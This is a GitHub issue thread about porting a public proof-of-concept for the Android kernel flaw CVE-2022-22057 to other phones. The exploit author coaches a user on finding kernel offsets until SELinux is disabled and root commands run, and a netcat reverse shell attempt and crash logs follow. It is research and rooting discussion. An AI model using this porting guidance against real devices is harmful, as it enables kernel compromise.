CVE-2022-22057 on huawei phone

[mengxipeng1122]

I tested CVE-2022-22057 POC on a Huawei phone, but it always reboots after printing 'read pipe finished ',
How to fix this issue.
huawei phone Info:
Model VNE-AN00 , honor play30
8+128G memory
Android 11
kernel version 5.4.86
Android security patch level: April 1. 2022

POC log:
heap_id_mask 40
ion region 0x787c5e0000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
readpipe start
timeline_wait start
destroy start
readpipe
Caught signal: 10
wait complete -1
readpipe finished
< phone reboot >

[aibaars]

I assume you are referring to https://github.blog/2022-06-16-the-android-kernel-mitigations-obstacle-race/ .

[mengxipeng1122]

Sure, I read the blog, and find this repo from it

[mengxipeng1122]

I noticed ion_heap_phys_addr and ion_heap_size is specific to Z flip3,
and I think the data is SOC related,
and Z flip3 is using snapdragon 888+, and huawei play 30 is using snapdragon 480+
where can i get the phys addr and heap size of snapdragon 480+, kernel code ? or SOC datesheet?

[aibaars]

@m-y-mo do you know where/how to find that information?

[mengxipeng1122]

Kernel will print all ION heap infos when boot,
physic address, size and name
but, unfortunately, honor play 30 don't give user permission to read /proc/kmsg , and dmesg output nothing

[mengxipeng1122]

@aibaars @m-y-mo
I'm just wondering could I DM you.
I am really want to using this CVE on the huawei phone
my mail account is [email protected]

[m-y-mo]

@mengxipeng1122
Sorry about the delay. I'm surprised that snapdragon 480 is also using kernel 5.4. The only devices that I've seen using kernel 5.4 so far are snapdragon 888. The exploit is fairly complex and involves device specific addresses, as well as timing. It'll be pretty hard to port it to a different device if you don't have a rooted phone of the same type to read the kernel log. You may be able to read the ION address from the adb bugreport command, which sometimes contains kernel logs at boot time from the last recovery. However, the fact that you failed so early seems to suggest that the exploit failed even to replace the object in the first trigger of the UAF. This is likely due to timing issues because of the two different chipset. (On 888 the timing was assumed to be that of A55, but 480 uses Kryo 460, which is a completely different cpu) So you probably need to adjust the timing as well. This is however, very hard if you can't even see the crash log and diagnose when the crash happened and at what address it crashes.

[mengxipeng1122]

thank you for you answer. i see it is very difficult. and play 30 is using kernel version 5.4.86

[mengxipeng1122]

bugreport-VNE-AN00-HONORVNE-AN00-2022-11-14-22-58-15.zip

The attached file is bug report file I pulled from one play30.
Would it be possible to port this CVE to play30 using this bug report file?

[m-y-mo]

Thanks. It seems that the information is not included in the bug report. Unfortunately I won't be able to offer you much help. Sorry about this.

[mengxipeng1122]

Thank you anyway , have a great day

[diabl0w]

@m-y-mo I am trying to port this to Galaxy Z Fold 3 running 5.4 kernel.... is there any way to glean the necessary information from a decompiled kernel? I have the kernel.elf decompiled in Ghidra.
I would REALLY appreciate any assistance you can give in porting. I have been working on this type of thing for my Z Fold for months, and wouldn't be bothering you for help if I didn't already explore all options

[diabl0w]

i think i might have got it:

  Reserved memory: created CMA memory pool at 0x00000000ff800000, size 4 MiB
  OF: reserved mem: initialized node cdsp_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000fe800000, size 16 MiB
  OF: reserved mem: initialized node user_contig_region, compatible id shared-dma-pool
  Reserved memory: created DMA memory pool at 0x00000000df700000, size 8 MiB
  OF: reserved mem: initialized node memshare_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000fcc00000, size 28 MiB
  OF: reserved mem: initialized node audio_cma_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f9c00000, size 48 MiB
  OF: reserved mem: initialized node mem_dump_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f8c00000, size 16 MiB
  OF: reserved mem: initialized node sp_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f8400000, size 8 MiB
  OF: reserved mem: initialized node sdsp_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f6800000, size 28 MiB
  OF: reserved mem: initialized node qseecom_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f4800000, size 32 MiB
  OF: reserved mem: initialized node qseecom_ta_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f3c00000, size 12 MiB
  OF: reserved mem: initialized node adsp_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000ca800000, size 212 MiB
  OF: reserved mem: initialized node secure_display_region, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000c8800000, size 32 MiB
  OF: reserved mem: initialized node linux,cma, compatible id shared-dma-pool
  Reserved memory: created CMA memory pool at 0x00000000f2400000, size 24 MiB
  OF: reserved mem: initialized node cnss_wlan_region, compatible id shared-dma-pool

[diabl0w]

now i just need this:

/Device/firmware specific
ION_HEAP_OPS_OBJ_OFF 0x30
ION_HEAP_FREELIST_OFF 0x120
ION_HEAP_FLAGS_OFF 0xc0
ION_HEAP_WAITQUEUE_OFF 0x140
ION_HEAP_OPS_OFF 0x2d5f180

[m-y-mo]

If you're trying to port it to the Z fold 3, then make sure you use a firmware version that is running Android 12 but before the bug was patched. The code changes rather lot in that part of the driver and this only works on firmware running Android 12. The (F926BXXS1)BUL6 or BUL8 versions should be the closest to the one that was tested in the blog post, so I'd suggest to start trying with those. The offsets that you're asking for are:

ION_HEAP_OPS_OFF: It is the offset to the ion_cma_ops. You can get it like you get other kernel object offsets.

ION_HEAP_*_OFF: offsets of various fields in the ion_heap struct. For example, ION_HEAP_OPS_OBJ_OFF is the offset of ops field within ion_heap, ION_HEAP_FREELIST_OFF is the offset of freelist within ion_heap etc.

[diabl0w]

thank you for your response! unfortunately my untrained eye was not able to locate the offsets from the same place I got the other mem addresses. I have attached the last_kmsg file here ... that is great to know about Android 12. I am actually running kernel 5.4 on android 11, so I will upgrade if it seems like this will be feasible.

I guess I will have to get new addresses/offsets when i upgrade, but I suppose if you can point out where they are in this kmsg (if they are there at all) then I will be able to translate that info to the new firmware.

the other address I am struggling with is the VMEMMAP

[diabl0w]

last_kmsg.zip

[m-y-mo]

VMEMMAP is a macro defined in arch/arm64/include/asm/pgtable.h: https://elixir.bootlin.com/linux/latest/source/arch/arm64/include/asm/pgtable.h#L27
You can track the various definitions in the kernel source code. It's quite tedious because it depends on the architecture and you need to make sure you're looking at the arm64 code. As far as I remember, they are pretty stable so you probably can use the one in the POC.
For the other offsets, they are not in kernel log. The ion_cma_ops offset (ION_HEAP_OPS_OFF) should be simple. For example, you can get it from /proc/kallsyms on a rooted device (or the same way that you get the other symbol offsets from). To get the field offsets, for example, you can do something like this with gdb:

(gdb) p &(((struct ion_heap*)0)->ops)

gives you the field offset of ops in ion_heap (ION_HEAP_OPS_OBJ_OFF).

[diabl0w]

awesome, i appreciate your help! i dont have access to a rooted device but maybe i could get that info from a kernel elf theoretically right?

…

On Wed, Jun 21, 2023, 5:07 AM Man Yue Mo ***@***.***> wrote: VMEMMAP is a macro defined in arch/arm64/include/asm/pgtable.h: https://elixir.bootlin.com/linux/latest/source/arch/arm64/include/asm/pgtable.h#L27 You can track the various definitions in the kernel source code. It's quite tedious because it depends on the architecture and you need to make sure you're looking at the arm64 code. As far as I remember, they are pretty stable so you probably can use the one in the POC. For the other offsets, they are not in kernel log. The ion_cma_ops offset (ION_HEAP_OPS_OFF) should be simple. For example, you can get it from /proc/kallsyms on a rooted device (or the same way that you get the other symbol offsets from). To get the field offsets, for example, you can do something like this with gdb: (gdb) p &(((struct ion_heap*)0)->ops) gives you the field offset of ops in ion_heap (ION_HEAP_OPS_OBJ_OFF). — Reply to this email directly, view it on GitHub <#715 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AD3BYMXHIYH7TWH3KYUBPWLXMK2TZANCNFSM6AAAAAAR2KY3KI> . You are receiving this because you commented.Message ID: ***@***.***>

[diabl0w]

VMEMMAP is a macro defined in arch/arm64/include/asm/pgtable.h: https://elixir.bootlin.com/linux/latest/source/arch/arm64/include/asm/pgtable.h#L27 You can track the various definitions in the kernel source code. It's quite tedious because it depends on the architecture and you need to make sure you're looking at the arm64 code. As far as I remember, they are pretty stable so you probably can use the one in the POC. For the other offsets, they are not in kernel log. The ion_cma_ops offset (ION_HEAP_OPS_OFF) should be simple. For example, you can get it from /proc/kallsyms on a rooted device (or the same way that you get the other symbol offsets from). To get the field offsets, for example, you can do something like this with gdb:

(gdb) p &(((struct ion_heap*)0)->ops)

gives you the field offset of ops in ion_heap (ION_HEAP_OPS_OBJ_OFF).

https://github.com/marin-m/vmlinux-to-elf

[m-y-mo]

Yes, something like that should probably work too. If your debugger can't find the symbols to get the field offsets, you can try to download and compile the kernel from the source code that corresponds to your firmware: https://opensource.samsung.com/uploadList?menuItem=mobile&classification1=mobile_phone&searchValue=SM-F926 and then load the vmlinux output file into gdb to get the field offsets. The compiled kernel is not exactly the same as the one that is shipped in the firmware, so it's no good for getting the kallsyms offsets, but should be close enough to get the field offsets.

[diabl0w]

amazing... thank you. that gives me plenty to start with

…

On Wed, Jun 21, 2023, 5:41 AM Man Yue Mo ***@***.***> wrote: Yes, something like that should probably work too. If your debugger can't find the symbols to get the field offsets, you can try to download and compile the kernel from the source code that corresponds to your firmware: https://opensource.samsung.com/uploadList?menuItem=mobile&classification1=mobile_phone&searchValue=SM-F926 and then load the vmlinux output file into gdb to get the field offsets. The compiled kernel is not exactly the same as the one that is shipped in the firmware, so it's no good for getting the kallsyms offsets, but should be close enough to get the field offsets. — Reply to this email directly, view it on GitHub <#715 (comment)>, or unsubscribe <https://github.com/notifications/unsubscribe-auth/AD3BYMUMYXDMA5NAGAGDVXLXMK6WJANCNFSM6AAAAAAR2KY3KI> . You are receiving this because you commented.Message ID: ***@***.***>

[diabl0w]

@m-y-mo so good news, I compiled the kernel and got the offsets using the gdb commands you gave. it turns out that the address/offsets are the exact same! ... unfortunately, when running the exploit, i get the following output:

q2q:/data/local/tmp $ ./timeline                   
heap_id_mask 40
ion region 0x764882a000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
readpipe start
timeline_wait start
destroy start
readpipe
Caught signal: 10
 wait complete -1
cb_list ffffffc031d5bbf8 temp ffffffc031d5bc48
mask 52424242 73
cpu_id 2
interval number 1
mask 7f8e7bfeff 386
thread number 24 2 21950
thread batch number 3
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 23 ion regions
heap_ops ffffffc012e52b40, kernel base: a00f39c0
set enforcing to permissive
[-] Failed to overwrite selinux_enforcing
set enforcing to permissive
[-] Failed to overwrite selinux_enforcing
set enforcing to permissive
[-] Failed to overwrite selinux_enforcing
freeing ion dma fd
finished freeing ion dma fd
timeline: Failed to set enforcing
: Try again

the only 2 addresses I have no explicitly verified are VMEMMAP and KERNEL_PBASE. I am not sure how to get KERNEL_PBASE. However, I am making some assumptions that they should be the same as yours and no changes needed since everything else has been the same

[m-y-mo]

It really is only the difference between KERNEL_PBASE and KERNEL_VBASE that matters. I got it on a rooted device like this: For KERNEL_PBASE, look for the start of Kernel code in /proc/iomem, and for KERNEL_VBASE, look for _text in /proc/kallsyms. These change between boots, but it doesn't matter, their differences is always the same, and it is only the difference that is used. So just take the value on any particular boot it should be ok. I suspect you can find this in the virt_to_phys implementation of the kernel source code also, but it'll be quite tedious and it probably doesn't change much.
However, it seems to me that your problem is something else. I don't expect kernel base to not be page aligned (your value is 0xa00f39c0). It looks like you haven't updated ION_HEAP_OPS_OFF to your specific firmware and it is still using the one from my POC (the one for Z flip 3) so I'd suggest first to update that offset (that is the offset for the ion_cma_ops kernel object and you need to get it from the firmware rather than the compiled kernel code) and see if it helps.

[diabl0w]

dang you are good... you caught me, that is correct, ION_HEAP_OPS_OFF is another that i did not explicitly verify, and was hoping was the same as your POC.... as i dont have access to a rooted device, i am going to have to scavenge the logs i posted here and anything else i can find from adb bugreport.

in the case i cannot get it from adb bug report, and i dont have rooted device, and i dont want to trace virt_to_phys: is this a value i would be able to find in an extracted boot.img/kernel from my firmware? like maybe applyling the map from compiled kernel to an extracted boot.img/kernel to get the headers? or would it have to be a live booted environment?

thank you so much for your patience

[diabl0w]

@m-y-mo would it be the linux,cma entry (line 4) showm below by any chance?

<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000f2800000, size 212 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node secure_display_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000d5c00000, size 32 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node linux,cma, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000f1800000, size 16 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node user_contig_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000f0c00000, size 12 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node adsp_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000efc00000, size 4 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node cdsp_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000ee400000, size 24 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node cnss_wlan_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created DMA memory pool at 0x00000000df700000, size 8 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node memshare_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000edc00000, size 8 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node sdsp_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000ecc00000, size 16 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node sp_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000e9c00000, size 48 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node mem_dump_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000e8000000, size 28 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node audio_cma_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000e2000000, size 32 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node qseecom_ta_region, compatible id shared-dma-pool
<6>[    0.000000] [0:        swapper:    0]  Reserved memory: created CMA memory pool at 0x00000000e6400000, size 28 MiB
<6>[    0.000000] [0:        swapper:    0]  OF: reserved mem: initialized node qseecom_region, compatible id shared-dma-pool

[m-y-mo]

No, ion_cma_ops is not in the log, you find it in the kernel elf like you find the offsets for the other symbols. (e.g. All the other ones in work_queue_utils.h)

[diabl0w]

got it okay... so i have to find an exploit to read kallsyms or try to reverse engineer kallsyms from boot.img/kernel... running the vmlinux-to-elf binary on the boot.img/kernel i mentioned before was missing a bunch of symbols but maybe it will get that one. what offset am i calculating from, the kernel _text?

[diabl0w]

okay, using vmlinux-to-elf, i was able to obtain

0000000003976000 T _text
0000000006708b18 d ion_cma_ops
0000000005ee2200 D vmemmap

i'll have to figure out how these translate to addr_utils.h as the values are much different.
aside from that, it leaves me with needing KERNEL_PBASE and PHYS_TO_VIRT_OFF and then I will have everything

[intrigus-lgtm]

I'm mostly just lurking, but I'm rooting for you and hope that you can successfully exploit it 🚀

[m-y-mo]

The fact that you're able to progress to the point of getting a reasonably looking info leak makes me think that the macros in addr_utils.h are correct, so let's leave those for the time being. Note that vmemmap in kallsyms (the one you get) should not be used for VMEMMAP in addr_utils.h, don't change anything in addr_utils.h.

The numbers you got doesn't look right. I remember having a similar problem before because the block alignment and address width in the symbol table has changed and some of the older scripts didn't work. Try adding the --bit-size=32 argument to the tool that you used (kallsyms_finder.py?) and see what output you get.

I think there is a also newer tool that gives you more options to change these parameters. Try to search "extract kallsyms" in the xda forum and ask around. You probably need to play around with the settings a bit to get it right.

[diabl0w]

tried: https://github.com/bkerler/sboot_dump -- no useful info
tried: https://github.com/marin-m/vmlinux-to-elf -- gave bad info no matter which parameters I tried
tried: https://forum.xda-developers.com/t/a-utility-to-extract-kallsyms-from-a-kernel.4563043/ gave mismatch errors no matter which parameters i tried
tried: downloading the firmware that you used in you POC and running it through vmlinux-to-elf to see if I can get the same ion_cma_ops value that you did in your POC (2d5f180) but I could not, instead vmlinux-to-elf gave me 061d7158. I tried to take this value and subtract the difference from the vmlinux-to-elf on my firmware (06708b18) and then take that difference and add it to 2d5f180, and then run the exploit, but that made things even worse, it just crashed super early.

I will keep trying!
Not sure if you or anyone would want me to upload a boot.img or kernel and see what you can find. I am not looking for someone to do the work for me, I've been trying non-stop. I supposed this is just too far beyond my skillset, but being so close I don't want to stop.

[m-y-mo]

It looks like for some reason, the kallsyms you get using kallsyms_finder.py is off by one. For example, in the firmware that I used, I have:

03478000 T _text
03478000 t pe_header

and

061d7158 d ion_cma_ops
061d7180 d ion_secure_cma_ops

and 0x61d7158 - 0x3478000 (ion_cma_ops - _text) doesn't give me the correct offset but the next one: 061d7180 - 0x3478000 (ion_secure_cma_ops - pe_header) does. And it is the same for all the other offsets. So I'd say try to get the offset by taking the next symbol in the table and subtract it with the symbol after _text. I also need to use --bit-size=32.

[diabl0w]

Wow! I thought this was going to be it!
using bit-size=32 and taking the label after

03976000 T _text
03976000 t pe_header
--
06708b18 d ion_cma_ops
06708b40 d ion_secure_cma_ops

= 0x2d92b40 for ION_HEAPS_OPS_OFF

I think it is closer, that "kernel base" value looks cleaner:

heap_id_mask 40
ion region 0x7c23872000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
readpipe start
timeline_wait start
destroy start
readpipe
Caught signal: 10
 wait complete -1
cb_list ffffffc03baf3bf8 temp ffffffc03baf3c48
mask 52424242 80
cpu_id 3
interval number 1
mask 7f8e7bfeff 332
thread number 20 12 20059
thread batch number 2
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 24 ion regions
heap_ops ffffffc012ff2b40, kernel base: a0260000
set enforcing to permissive
[-] Failed to overwrite selinux_enforcing
set enforcing to permissive
[-] Failed to overwrite selinux_enforcing
set enforcing to permissive
[-] Failed to overwrite selinux_enforcing
freeing ion dma fd
finished freeing ion dma fd
timeline: Failed to set enforcing
: Try again

I did also try using kallsyms-finder output "as-is" which gave me 2D92B18 which gave me kernel base: a00d0028 output when running timeline

[m-y-mo]

Have you also changed ENFORCING_OFF to the offset of selinux_enforcing?

[diabl0w]

BINGOOOOOO... however the device crashes when getting to the last line:

heap_id_mask 40
ion region 0x6f3c0c0000
region start addr: ffffff8071800000
fence kernel addr: ffffff8071fe0040 192
created fake slab at ffffff8071840100
[+] reallocation data initialized!
[ ] initializing reallocation threads, please wait...
[+] 40 reallocation threads ready!
readpipe start
timeline_wait start
destroy start
readpipe
Caught signal: 10
 wait complete -1
cb_list ffffffc02b10bbf8 temp ffffffc02b10bc48
mask 52424242 1594
cpu_id 3
interval number 28
mask 7f8e7bfeff 74
thread number 4 10 21678
thread batch number 0
new mask 7f8e7bfeff ffffff8071840100
region_offset 40100
sprayed 1024 ion buffer
start searching for buffer
Found 24 ion regions
heap_ops ffffffc012ea2b40, kernel base: a0110000
set enforcing to permissive
[+] successfully overwritten selinux_enforcing
wq_ptr_addr: ffffffc012e1a518
wq_addr: ffffffc0121f4b69
pwq_addr 6f6e20646c756f63

[m-y-mo]

Have you changed the offsets in work_queue_utils.h also? SYSTEM_UNBOUND_WQ_OFF -> system_unbound_wq, KGSL_DRIVER_OFF -> kgsl_driver. For KGSL_MEMQUEUE_OFF:

#define KGSL_MEMQUEUE_OFF (KGSL_DRIVER_OFF + 0x518)

The 0x518 here needs to be changed to the offset of mem_workqueue in the kgsl_driver struct, you can probably do this using gdb with the compiled kernel image:

(gdb) p &(((struct kgsl_driver*)0)->mem_workqueue)

similarly, you can get WORKLIST_OFF as the offset of worklist from worker_pool in gdb.

[diabl0w]

gotcha... i know how to do those things now so I should be able to get that np... will report back

[diabl0w]

I also had to do offset for run_cmd.envp and call_usermodehelper_exec_work... but now SUCCESS!!! I really really thank you for all your patience with me and so happy we got this to work! I've been waiting for this moment for awhile. Feel free to drop a donation link:) Now I can just play with the actual command that gets sent:)) WOOOOO!

[m-y-mo]

No worries, good to know about that it works.

[diabl0w]

Feel free to ignore, but a couple of follow ups:

1. I tried running a netcat reverse shell but it doesnt seem to be working. Is there a certain reason why this may not be feasible?

2. after running this exploit, usually the phone crashes after some time. I know this is sometimes normal for kernel exploits, but is it expected in this case and is there anything I can do to prevent it?

UPDATE: yes, the two major things that are preventing this from being useful are the 1) lack of shell (which I think is solvable, I will just have to do research) and 2) not stable -- even if I did get a shell, the phone crashes a few mins later, which defeats the purpose. I don't think there is any way to permanently alter the system (r/w root directory or unlock bootloader) that is within my realm of knowledge, so its a tough spot

[diabl0w]

if it helps... I get this log in /sys/fspstore/console-ramoops where this message repeats hundreds of times with slightly different numbers for some of the addresses:

<4>[  245.125028] [1:          xkmsg:12256]  ------------[ cut here ]------------
<4>[  245.125034] [1:          xkmsg:12256]  WARNING: CPU: 1 PID: 12256 at include/linux/dma-fence.h:532 kgsl_ioctl_timeline_destroy+0x1a0/0x2ec
<4>[  245.125038] [1:          xkmsg:12256]  Modules linked in: wlan(O) machine_dlkm wez01 native_dlkm rmnet_offload(O) rx_macro_dlkm cnss_prealloc ssg_iosched sma_amp hid_aksys stm_ts snvm input_booster_lkm cnss2 tcp_htcp wlan_firmware_service_v01 snd_soc_cs35l41_i2c stm_ts_spi sec_virtual_tsp sec_audio_sysfs cnss_utils platform_dlkm tcp_westwood uwb pinctrl_wcd_dlkm rdbg va_macro_dlkm fingerprint sec_secure_touch rmnet_shs(O) tx_macro_dlkm stub_dlkm sec_tclm_v2 wcd9xxx_dlkm bolero_cdc_dlkm blk_sec_stats hdmi_dlkm pinctrl_lpi_dlkm snd_soc_sma1305 snd_soc_cirrus_amp kperfmon slimbus_ngd rmnet_core(O) fingerprint_sysfs tas256x_dlkm camera q6_dlkm rmnet_ctl(O) wcd_core_dlkm adsp_loader_dlkm sec_tsp_dumpkey device_management_service_v01 cnss_nl apr_dlkm nfc_sec snd_soc_wm_adsp q6_notifier_dlkm q6_pdr_dlkm sec_cmd snd_event_dlkm sec_common_fn sec_tsp_log
<4>[  245.125084] [1:          xkmsg:12256]  CPU: 1 PID: 12256 Comm: xkmsg Tainted: G S      W  O      5.4.86-qgki-23063627-abF926USQS1BUL6 #1
<4>[  245.125088] [1:          xkmsg:12256]  Hardware name: Samsung Q2Q PROJECT - REV0.4 (board-id,08) (DT)
<4>[  245.125092] [1:          xkmsg:12256]  pstate: 20400085 (nzCv daIf +PAN -UAO)
<4>[  245.125097] [1:          xkmsg:12256]  pc : kgsl_ioctl_timeline_destroy+0x1a0/0x2ec
<4>[  245.125102] [1:          xkmsg:12256]  lr : kgsl_ioctl_timeline_destroy+0x190/0x2ec
<4>[  245.125105] [1:          xkmsg:12256]  sp : ffffffc0340cbc40
<4>[  245.125108] [1:          xkmsg:12256]  x29: ffffffc0340cbc60 x28: ffffff8218269f80 
<4>[  245.125113] [1:          xkmsg:12256]  x27: 0000000000000000 x26: ffffff8071fe0088 
<4>[  245.125118] [1:          xkmsg:12256]  x25: ffffffc0340cbc48 x24: 00000000fffffffe 
<4>[  245.125123] [1:          xkmsg:12256]  x23: ffffffc0340cbc48 x22: ffffff814cef2828 
<4>[  245.125128] [1:          xkmsg:12256]  x21: ffffff8071fe0040 x20: ffffff814cef281c 
<4>[  245.125133] [1:          xkmsg:12256]  x19: ffffff814cef2800 x18: ffffffc02aba1038 
<4>[  245.125138] [1:          xkmsg:12256]  x17: 00000000000003e7 x16: 0000000000000000 
<4>[  245.125143] [1:          xkmsg:12256]  x15: 0000018000000000 x14: 0000000000000010 
<4>[  245.125147] [1:          xkmsg:12256]  x13: 000000000001717e x12: 0000000034155555 
<4>[  245.125152] [1:          xkmsg:12256]  x11: 00213324e61fcc00 x10: 0000000000000018 
<4>[  245.125157] [1:          xkmsg:12256]  x9 : 0000000000000001 x8 : 0000000000000001 
<4>[  245.125162] [1:          xkmsg:12256]  x7 : 0000000000000001 x6 : 0000000000000000 
<4>[  245.125167] [1:          xkmsg:12256]  x5 : ffffff82fe4855b0 x4 : 0000000000000000 
<4>[  245.125171] [1:          xkmsg:12256]  x3 : ffffff8182b16e40 x2 : 0000000000000001 
<4>[  245.125176] [1:          xkmsg:12256]  x1 : ffffffc0340cbbf8 x0 : 0000000000000000 
<4>[  245.125181] [1:          xkmsg:12256]  Call trace:
<4>[  245.125185] [1:          xkmsg:12256]   kgsl_ioctl_timeline_destroy+0x1a0/0x2ec
<4>[  245.125190] [1:          xkmsg:12256]   kgsl_ioctl_helper+0x110/0x1f4
<4>[  245.125194] [1:          xkmsg:12256]   kgsl_ioctl+0x34/0xc4
<4>[  245.125199] [1:          xkmsg:12256]   do_vfs_ioctl+0x370/0x67c
<4>[  245.125203] [1:          xkmsg:12256]   __arm64_sys_ioctl+0x78/0xa4
<4>[  245.125208] [1:          xkmsg:12256]   el0_svc_common+0xf0/0x1d0
<4>[  245.125212] [1:          xkmsg:12256]   el0_svc_handler+0x74/0x98
<4>[  245.125217] [1:          xkmsg:12256]   el0_svc+0x8/0xc
<4>[  245.125220] [1:          xkmsg:12256]  ---[ end trace ebbeb14343edd825 ]---

[diabl0w]

This will be my last comment as to not spam the thread, but I think i found the relevant kernel panic logs... there is much more than this but i will post snippets. This should be the exact moment of crash because phone was able to stay on for a long time but as soon as inturned the screen on it crashed and these are the log entires after the screen on entries:

<6>[  538.882001] [1:    kworker/1:0:12408]  [FACTORY] light_copr_debug_work_func: 0,0,0,34,33,32,0,0,0,0,0,0
<4>[  538.885264] [7:  POSIX timer 0: 2371]  QSEECOM: __qseecom_unload_app: App (56) is unloaded
<3>[  538.885486] [7:  POSIX timer 0: 2371]  list_add corruption. next->prev should be prev (ffffff8089fcb130), but was 0000007a777ebfa5. (next=ffffff8071840280).
<4>[  538.885502] [7:  POSIX timer 0: 2371]  ------------[ cut here ]------------
<2>[  538.885504] [7:  POSIX timer 0: 2371]  kernel BUG at lib/list_debug.c:25!
<0>[  538.885516] [7:  POSIX timer 0: 2371]  Internal error: Oops - BUG: 0 [#1] PREEMPT SMP

...

<4>[  538.885749] [7:  POSIX timer 0: 2371]  Call trace:
<4>[  538.885752] [7:  POSIX timer 0: 2371]   __list_add_valid+0x74/0x90
<4>[  538.885754] [7:  POSIX timer 0: 2371]   ion_heap_freelist_add+0x44/0x98
<4>[  538.885757] [7:  POSIX timer 0: 2371]   ion_buffer_destroy+0x190/0x1d0
<4>[  538.885759] [7:  POSIX timer 0: 2371]   msm_ion_dma_buf_release+0x2c/0x3c
<4>[  538.885762] [7:  POSIX timer 0: 2371]   ion_dma_buf_release+0x3c/0x80
<4>[  538.885765] [7:  POSIX timer 0: 2371]   dma_buf_release+0xd4/0x188
<4>[  538.885768] [7:  POSIX timer 0: 2371]   __dentry_kill+0x1a4/0x234
<4>[  538.885770] [7:  POSIX timer 0: 2371]   dput+0x160/0x1f4
<4>[  538.885772] [7:  POSIX timer 0: 2371]   __fput+0x210/0x368
<4>[  538.885775] [7:  POSIX timer 0: 2371]   ____fput+0x10/0x1c
<4>[  538.885777] [7:  POSIX timer 0: 2371]   task_work_run+0xe4/0x12c
<4>[  538.885779] [7:  POSIX timer 0: 2371]   do_notify_resume+0x108/0x168
<4>[  538.885782] [7:  POSIX timer 0: 2371]   work_pending+0x8/0x10
<0>[  538.885785] [7:  POSIX timer 0: 2371]  Code: b000d620 91234c00 aa0803e1 97ed0ac6 (d4210000) 
<4>[  538.885788] [7:  POSIX timer 0: 2371]  ---[ end trace ebbeb14343edd826 ]---
<3>[  538.891426] [7:  POSIX timer 0: 2371]  hh-watchdog hypervisor:qcom,hh-watchdog: vWDT already enabled
<0>[  538.891432] [7:  POSIX timer 0: 2371]  Kernel panic - not syncing: Fatal exception
<2>[  538.891440] [7:  POSIX timer 0: 2371]  SMP: stopping secondary CPUs

...

<3>[  538.894518] [7:  POSIX timer 0: 2371]  qcom_scm firmware:scm: set download mode: 0x10
<3>[  538.894538] [7:  POSIX timer 0: 2371]  ipa ipa3_panic_notifier:6039 IPA clk off not saving the IPA registers
<3>[  538.894547] [7:  POSIX timer 0: 2371]  kgsl kgsl-3d0: snapshot: device is powered off
<7>[  539.694629] [7:  POSIX timer 0: 2371]  cnss: Crash shutdown with driver_state 0x166107

...

<7>[  540.014655] [7:  POSIX timer 0: 2371]  cnss: Collect remote heap dump segment
<7>[  540.014658] [7:  POSIX timer 0: 2371]  cnss: Seg: 0, va: 00000000b40e2689, dma: 0x00000000a1000000, size: 0x4e0000
<7>[  540.014661] [7:  POSIX timer 0: 2371]  cnss: Dump region: RHEAP_0, va: 00000000b40e2689, pa: 0x00000000eef00000, size: 0x4e0000
